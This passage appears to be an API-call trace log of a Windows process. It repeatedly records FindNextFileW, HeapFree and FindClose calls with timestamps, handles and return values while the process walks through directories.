lpMem=0x4594f58 | out: hHeap=0x510000) returned 1 [0145.195] FindNextFileW (in: hFindFile=0x3e5c698, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0145.195] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4594f58 | out: hHeap=0x510000) returned 1 [0145.195] FindNextFileW (in: hFindFile=0x3e5c698, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0145.195] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4594f58 | out: hHeap=0x510000) returned 1 [0145.195] FindNextFileW (in: hFindFile=0x3e5c698, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0145.195] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4594f58 | out: hHeap=0x510000) returned 1 [0145.195] FindNextFileW (in: hFindFile=0x3e5c698, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0145.196] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4594f58 | out: hHeap=0x510000) returned 1 [0145.196] FindNextFileW (in: hFindFile=0x3e5c698, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0145.196] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4594f58 | out: hHeap=0x510000) returned 1 [0145.196] FindNextFileW (in: hFindFile=0x3e5c698, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0145.196] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4594f58 | out: hHeap=0x510000) returned 1 [0145.196] FindNextFileW (in: hFindFile=0x3e5c698, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0145.196] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4594f58 | out: hHeap=0x510000) returned 1 [0145.196] FindNextFileW (in: hFindFile=0x3e5c698, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0145.196] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4594f58 | out: hHeap=0x510000) returned 1 [0145.196] FindNextFileW (in: hFindFile=0x3e5c698, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0145.196] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4594f58 | out: hHeap=0x510000) returned 1 [0145.196] FindNextFileW (in: hFindFile=0x3e5c698, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0145.196] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4594f58 | out: hHeap=0x510000) returned 1 [0145.196] FindNextFileW (in: hFindFile=0x3e5c698, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0145.197] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4594f58 | out: hHeap=0x510000) returned 1 [0145.197] FindNextFileW (in: hFindFile=0x3e5c698, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0145.197] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4594f58 | out: hHeap=0x510000) returned 1 [0145.197] FindNextFileW (in: hFindFile=0x3e5c698, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0145.197] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4594f58 | out: hHeap=0x510000) returned 1 [0145.197] FindNextFileW (in: hFindFile=0x3e5c698, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0145.197] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4594f58 | out: hHeap=0x510000) returned 1 [0145.197] FindNextFileW (in: hFindFile=0x3e5c698, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0145.197] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4594f58 | out: hHeap=0x510000) returned 1 [0145.197] FindNextFileW (in: hFindFile=0x3e5c698, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0145.197] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4594f58 | out: hHeap=0x510000) returned 1 [0145.197] FindNextFileW (in: hFindFile=0x3e5c698, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0145.197] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4594f58 | out: hHeap=0x510000) returned 1 [0145.197] FindNextFileW (in: hFindFile=0x3e5c698, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0145.197] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4594f58 | out: hHeap=0x510000) returned 1 [0145.197] FindNextFileW (in: hFindFile=0x3e5c698, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0145.198] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4594f58 | out: hHeap=0x510000) returned 1 [0145.198] FindNextFileW (in: hFindFile=0x3e5c698, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0145.198] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4594f58 | out: hHeap=0x510000) returned 1 [0145.198] FindNextFileW (in: hFindFile=0x3e5c698, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0145.198] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4594f58 | out: hHeap=0x510000) returned 1 [0145.198] FindNextFileW (in: hFindFile=0x3e5c698, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0145.198] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4594f58 | out: hHeap=0x510000) returned 1 [0145.198] FindNextFileW (in: hFindFile=0x3e5c698, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0145.198] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4594f58 | out: hHeap=0x510000) returned 1 [0145.198] FindNextFileW (in: hFindFile=0x3e5c698, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 0 [0145.198] FindClose (in: hFindFile=0x3e5c698 | out: hFindFile=0x3e5c698) returned 1 [0145.198] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x448ffe0 | out: hHeap=0x510000) returned 1 [0145.198] FindNextFileW (in: hFindFile=0x3e5c658, lpFindFileData=0x3a0e1a4 | out: lpFindFileData=0x3a0e1a4) returned 1 [0145.198] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x57b400 | out: hHeap=0x510000) returned 1 [0145.198] FindNextFileW (in: hFindFile=0x3e5c758, lpFindFileData=0x3a0e420 | out: lpFindFileData=0x3a0e420) returned 0 [0145.198] FindClose (in: hFindFile=0x3e5c758 | out: hFindFile=0x3e5c758) returned 1 [0145.198] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52d0058 | out: hHeap=0x510000) returned 1 [0145.200] FindNextFileW (in: hFindFile=0x3e5c518, lpFindFileData=0x3a0e69c | out: lpFindFileData=0x3a0e69c) returned 1 [0145.200] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x57b400 | out: hHeap=0x510000) returned 1 [0145.200] FindNextFileW (in: hFindFile=0x3e5c318, lpFindFileData=0x3a0e420 | out: lpFindFileData=0x3a0e420) returned 1 [0145.237] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44c40b0 | out: hHeap=0x510000) returned 1 [0145.237] FindNextFileW (in: hFindFile=0x3e5c658, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0145.238] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44c40b0 | out: hHeap=0x510000) returned 1 [0145.238] FindNextFileW (in: hFindFile=0x3e5c658, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0145.239] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44c40b0 | out: hHeap=0x510000) returned 1 [0145.239] FindNextFileW (in: hFindFile=0x3e5c658, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0145.239] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44c40b0 | out: hHeap=0x510000) returned 1 [0145.239] FindNextFileW (in: hFindFile=0x3e5c658, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0145.240] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44c40b0 | out: hHeap=0x510000) returned 1 [0145.240] FindNextFileW (in: hFindFile=0x3e5c658, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0145.241] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44c40b0 | out: hHeap=0x510000) returned 1 [0145.241] FindNextFileW (in: hFindFile=0x3e5c658, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0145.241] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44c40b0 | out: hHeap=0x510000) returned 1 [0145.241] FindNextFileW (in: hFindFile=0x3e5c658, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0145.242] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44c40b0 | out: hHeap=0x510000) returned 1 [0145.242] FindNextFileW (in: hFindFile=0x3e5c658, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0145.242] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44c40b0 | out: hHeap=0x510000) returned 1 [0145.242] FindNextFileW (in: hFindFile=0x3e5c658, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0145.243] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44c40b0 | out: hHeap=0x510000) returned 1 [0145.243] FindNextFileW (in: hFindFile=0x3e5c658, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0145.244] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44c40b0 | out: hHeap=0x510000) returned 1 [0145.244] FindNextFileW (in: hFindFile=0x3e5c658, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0145.245] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44c40b0 | out: hHeap=0x510000) returned 1 [0145.245] FindNextFileW (in: hFindFile=0x3e5c658, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0145.246] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44c40b0 | out: hHeap=0x510000) returned 1 [0145.246] FindNextFileW (in: hFindFile=0x3e5c658, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0145.247] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44c40b0 | out: hHeap=0x510000) returned 1 [0145.247] FindNextFileW (in: hFindFile=0x3e5c658, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0145.247] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44c40b0 | out: hHeap=0x510000) returned 1 [0145.247] FindNextFileW (in: hFindFile=0x3e5c658, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0145.247] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44c40b0 | out: hHeap=0x510000) returned 1 [0145.247] FindNextFileW (in: hFindFile=0x3e5c658, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0145.248] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44c40b0 | out: hHeap=0x510000) returned 1 [0145.248] FindNextFileW (in: hFindFile=0x3e5c658, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0145.248] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44c40b0 | out: hHeap=0x510000) returned 1 [0145.248] FindNextFileW (in: hFindFile=0x3e5c658, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0145.249] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44c40b0 | out: hHeap=0x510000) returned 1 [0145.249] FindNextFileW (in: hFindFile=0x3e5c658, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0145.249] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44c40b0 | out: hHeap=0x510000) returned 1 [0145.249] FindNextFileW (in: hFindFile=0x3e5c658, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0145.249] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44c40b0 | out: hHeap=0x510000) returned 1 [0145.249] FindNextFileW (in: hFindFile=0x3e5c658, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0145.249] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44c40b0 | out: hHeap=0x510000) returned 1 [0145.249] FindNextFileW (in: hFindFile=0x3e5c658, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0145.250] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44c40b0 | out: hHeap=0x510000) returned 1 [0145.250] FindNextFileW (in: hFindFile=0x3e5c658, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0145.251] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44c40b0 | out: hHeap=0x510000) returned 1 [0145.251] FindNextFileW (in: hFindFile=0x3e5c658, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0145.251] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44c40b0 | out: hHeap=0x510000) returned 1 [0145.251] FindNextFileW (in: hFindFile=0x3e5c658, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0145.251] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44c40b0 | out: hHeap=0x510000) returned 1 [0145.251] FindNextFileW (in: hFindFile=0x3e5c658, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0145.252] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44c40b0 | out: hHeap=0x510000) returned 1 [0145.252] FindNextFileW (in: hFindFile=0x3e5c658, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0145.252] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44c40b0 | out: hHeap=0x510000) returned 1 [0145.252] FindNextFileW (in: hFindFile=0x3e5c658, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0145.252] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44c40b0 | out: hHeap=0x510000) returned 1 [0145.252] FindNextFileW (in: hFindFile=0x3e5c658, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0145.252] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44c40b0 | out: hHeap=0x510000) returned 1 [0145.252] FindNextFileW (in: hFindFile=0x3e5c658, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0145.253] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44c40b0 | out: hHeap=0x510000) returned 1 [0145.253] FindNextFileW (in: hFindFile=0x3e5c658, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0145.253] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44c40b0 | out: hHeap=0x510000) returned 1 [0145.253] FindNextFileW (in: hFindFile=0x3e5c658, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0145.253] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44c40b0 | out: hHeap=0x510000) returned 1 [0145.253] FindNextFileW (in: hFindFile=0x3e5c658, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0145.253] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44c40b0 | out: hHeap=0x510000) returned 1 [0145.254] FindNextFileW (in: hFindFile=0x3e5c658, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 0 [0145.254] FindClose (in: hFindFile=0x3e5c658 | out: hFindFile=0x3e5c658) returned 1 [0145.254] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x448ffe0 | out: hHeap=0x510000) returned 1 [0145.254] FindNextFileW (in: hFindFile=0x3e5c0d8, lpFindFileData=0x3a0e1a4 | out: lpFindFileData=0x3a0e1a4) returned 1 [0145.254] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x57b400 | out: hHeap=0x510000) returned 1 [0145.254] FindNextFileW (in: hFindFile=0x3e5c318, lpFindFileData=0x3a0e420 | out: lpFindFileData=0x3a0e420) returned 0 [0145.254] FindClose (in: hFindFile=0x3e5c318 | out: hFindFile=0x3e5c318) returned 1 [0145.254] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52d0058 | out: hHeap=0x510000) returned 1 [0145.257] FindNextFileW (in: hFindFile=0x3e5c518, lpFindFileData=0x3a0e69c | out: lpFindFileData=0x3a0e69c) returned 1 [0145.258] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x57b400 | out: hHeap=0x510000) returned 1 [0145.258] FindNextFileW (in: hFindFile=0x3e5c658, lpFindFileData=0x3a0e420 | out: lpFindFileData=0x3a0e420) returned 1 [0145.301] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44c40b0 | out: hHeap=0x510000) returned 1 [0145.301] FindNextFileW (in: hFindFile=0x3e5c758, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 0 [0145.301] FindClose (in: hFindFile=0x3e5c758 | out: hFindFile=0x3e5c758) returned 1 [0145.301] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x448ffe0 | out: hHeap=0x510000) returned 1 [0145.301] FindNextFileW (in: hFindFile=0x3e5c698, lpFindFileData=0x3a0e1a4 | out: lpFindFileData=0x3a0e1a4) returned 0 [0145.301] FindClose (in: hFindFile=0x3e5c698 | out: hFindFile=0x3e5c698) returned 1 [0145.301] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x57b400 | out: hHeap=0x510000) returned 1 [0145.301] FindNextFileW (in: hFindFile=0x3e5c658, lpFindFileData=0x3a0e420 | out: lpFindFileData=0x3a0e420) returned 1 [0145.604] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x45a4f60 | out: hHeap=0x510000) returned 1 [0145.604] FindNextFileW (in: hFindFile=0x3e5c758, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0145.605] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x45a4f60 | out: hHeap=0x510000) returned 1 [0145.605] FindNextFileW (in: hFindFile=0x3e5c758, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0145.605] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x45a4f60 | out: hHeap=0x510000) returned 1 [0145.605] FindNextFileW (in: hFindFile=0x3e5c758, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0145.605] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x45a4f60 | out: hHeap=0x510000) returned 1 [0145.605] FindNextFileW (in: hFindFile=0x3e5c758, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0145.605] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x45a4f60 | out: hHeap=0x510000) returned 1 [0145.605] FindNextFileW (in: hFindFile=0x3e5c758, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0145.605] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x45a4f60 | out: hHeap=0x510000) returned 1 [0145.605] FindNextFileW (in: hFindFile=0x3e5c758, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0145.605] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x45a4f60 | out: hHeap=0x510000) returned 1 [0145.605] FindNextFileW (in: hFindFile=0x3e5c758, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0145.605] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x45a4f60 | out: hHeap=0x510000) returned 1 [0145.605] FindNextFileW (in: hFindFile=0x3e5c758, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0145.606] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x45a4f60 | out: hHeap=0x510000) returned 1 [0145.606] FindNextFileW (in: hFindFile=0x3e5c758, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0145.606] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x45a4f60 | out: hHeap=0x510000) returned 1 [0145.606] FindNextFileW (in: hFindFile=0x3e5c758, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0145.606] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x45a4f60 | out: hHeap=0x510000) returned 1 [0145.606] FindNextFileW (in: hFindFile=0x3e5c758, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0145.606] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x45a4f60 | out: hHeap=0x510000) returned 1 [0145.606] FindNextFileW (in: hFindFile=0x3e5c758, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0145.606] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x45a4f60 | out: hHeap=0x510000) returned 1 [0145.606] FindNextFileW (in: hFindFile=0x3e5c758, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0145.606] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x45a4f60 | out: hHeap=0x510000) returned 1 [0145.606] FindNextFileW (in: hFindFile=0x3e5c758, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0145.606] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x45a4f60 | out: hHeap=0x510000) returned 1 [0145.606] FindNextFileW (in: hFindFile=0x3e5c758, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0145.606] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x45a4f60 | out: hHeap=0x510000) returned 1 [0145.606] FindNextFileW (in: hFindFile=0x3e5c758, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0145.607] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x45a4f60 | out: hHeap=0x510000) returned 1 [0145.607] FindNextFileW (in: hFindFile=0x3e5c758, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0145.607] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x45a4f60 | out: hHeap=0x510000) returned 1 [0145.607] FindNextFileW (in: hFindFile=0x3e5c758, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0145.607] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x45a4f60 | out: hHeap=0x510000) returned 1 [0145.607] FindNextFileW (in: hFindFile=0x3e5c758, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0145.607] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x45a4f60 | out: hHeap=0x510000) returned 1 [0145.607] FindNextFileW (in: hFindFile=0x3e5c758, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0145.607] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x45a4f60 | out: hHeap=0x510000) returned 1 [0145.607] FindNextFileW (in: hFindFile=0x3e5c758, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0145.607] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x45a4f60 | out: hHeap=0x510000) returned 1 [0145.607] FindNextFileW (in: hFindFile=0x3e5c758, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0145.607] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x45a4f60 | out: hHeap=0x510000) returned 1 [0145.607] FindNextFileW (in: hFindFile=0x3e5c758, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0145.607] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x45a4f60 | out: hHeap=0x510000) returned 1 [0145.608] FindNextFileW (in: hFindFile=0x3e5c758, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0145.608] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x45a4f60 | out: hHeap=0x510000) returned 1 [0145.608] FindNextFileW (in: hFindFile=0x3e5c758, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0145.608] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x45a4f60 | out: hHeap=0x510000) returned 1 [0145.608] FindNextFileW (in: hFindFile=0x3e5c758, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0145.608] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x45a4f60 | out: hHeap=0x510000) returned 1 [0145.608] FindNextFileW (in: hFindFile=0x3e5c758, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0145.608] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x45a4f60 | out: hHeap=0x510000) returned 1 [0145.608] FindNextFileW (in: hFindFile=0x3e5c758, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0145.608] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x45a4f60 | out: hHeap=0x510000) returned 1 [0145.608] FindNextFileW (in: hFindFile=0x3e5c758, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0145.608] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x45a4f60 | out: hHeap=0x510000) returned 1 [0145.608] FindNextFileW (in: hFindFile=0x3e5c758, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0145.608] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x45a4f60 | out: hHeap=0x510000) returned 1 [0145.608] FindNextFileW (in: hFindFile=0x3e5c758, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0145.609] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x45a4f60 | out: hHeap=0x510000) returned 1 [0145.609] FindNextFileW (in: hFindFile=0x3e5c758, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0145.609] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x45a4f60 | out: hHeap=0x510000) returned 1 [0145.609] FindNextFileW (in: hFindFile=0x3e5c758, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0145.609] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x45a4f60 | out: hHeap=0x510000) returned 1 [0145.609] FindNextFileW (in: hFindFile=0x3e5c758, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 0 [0145.609] FindClose (in: hFindFile=0x3e5c758 | out: hFindFile=0x3e5c758) returned 1 [0145.609] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x448ffe0 | out: hHeap=0x510000) returned 1 [0145.609] FindNextFileW (in: hFindFile=0x3e5c318, lpFindFileData=0x3a0e1a4 | out: lpFindFileData=0x3a0e1a4) returned 1 [0145.609] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x57b400 | out: hHeap=0x510000) returned 1 [0145.609] FindNextFileW (in: hFindFile=0x3e5c658, lpFindFileData=0x3a0e420 | out: lpFindFileData=0x3a0e420) returned 0 [0145.632] FindClose (in: hFindFile=0x3e5c658 | out: hFindFile=0x3e5c658) returned 1 [0145.632] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52d0058 | out: hHeap=0x510000) returned 1 [0145.632] FindNextFileW (in: hFindFile=0x3e5c518, lpFindFileData=0x3a0e69c | out: lpFindFileData=0x3a0e69c) returned 1 [0145.633] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x57b400 | out: hHeap=0x510000) returned 1 [0145.633] FindNextFileW (in: hFindFile=0x3e5c298, lpFindFileData=0x3a0e420 | out: lpFindFileData=0x3a0e420) returned 1 [0145.633] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x57b400 | out: hHeap=0x510000) returned 1 [0145.633] FindNextFileW (in: hFindFile=0x3e5c298, lpFindFileData=0x3a0e420 | out: lpFindFileData=0x3a0e420) returned 0 [0145.633] FindClose (in: hFindFile=0x3e5c298 | out: hFindFile=0x3e5c298) returned 1 [0145.633] HeapFree (in: hHeap=0x510000, dwFlags=0x0, 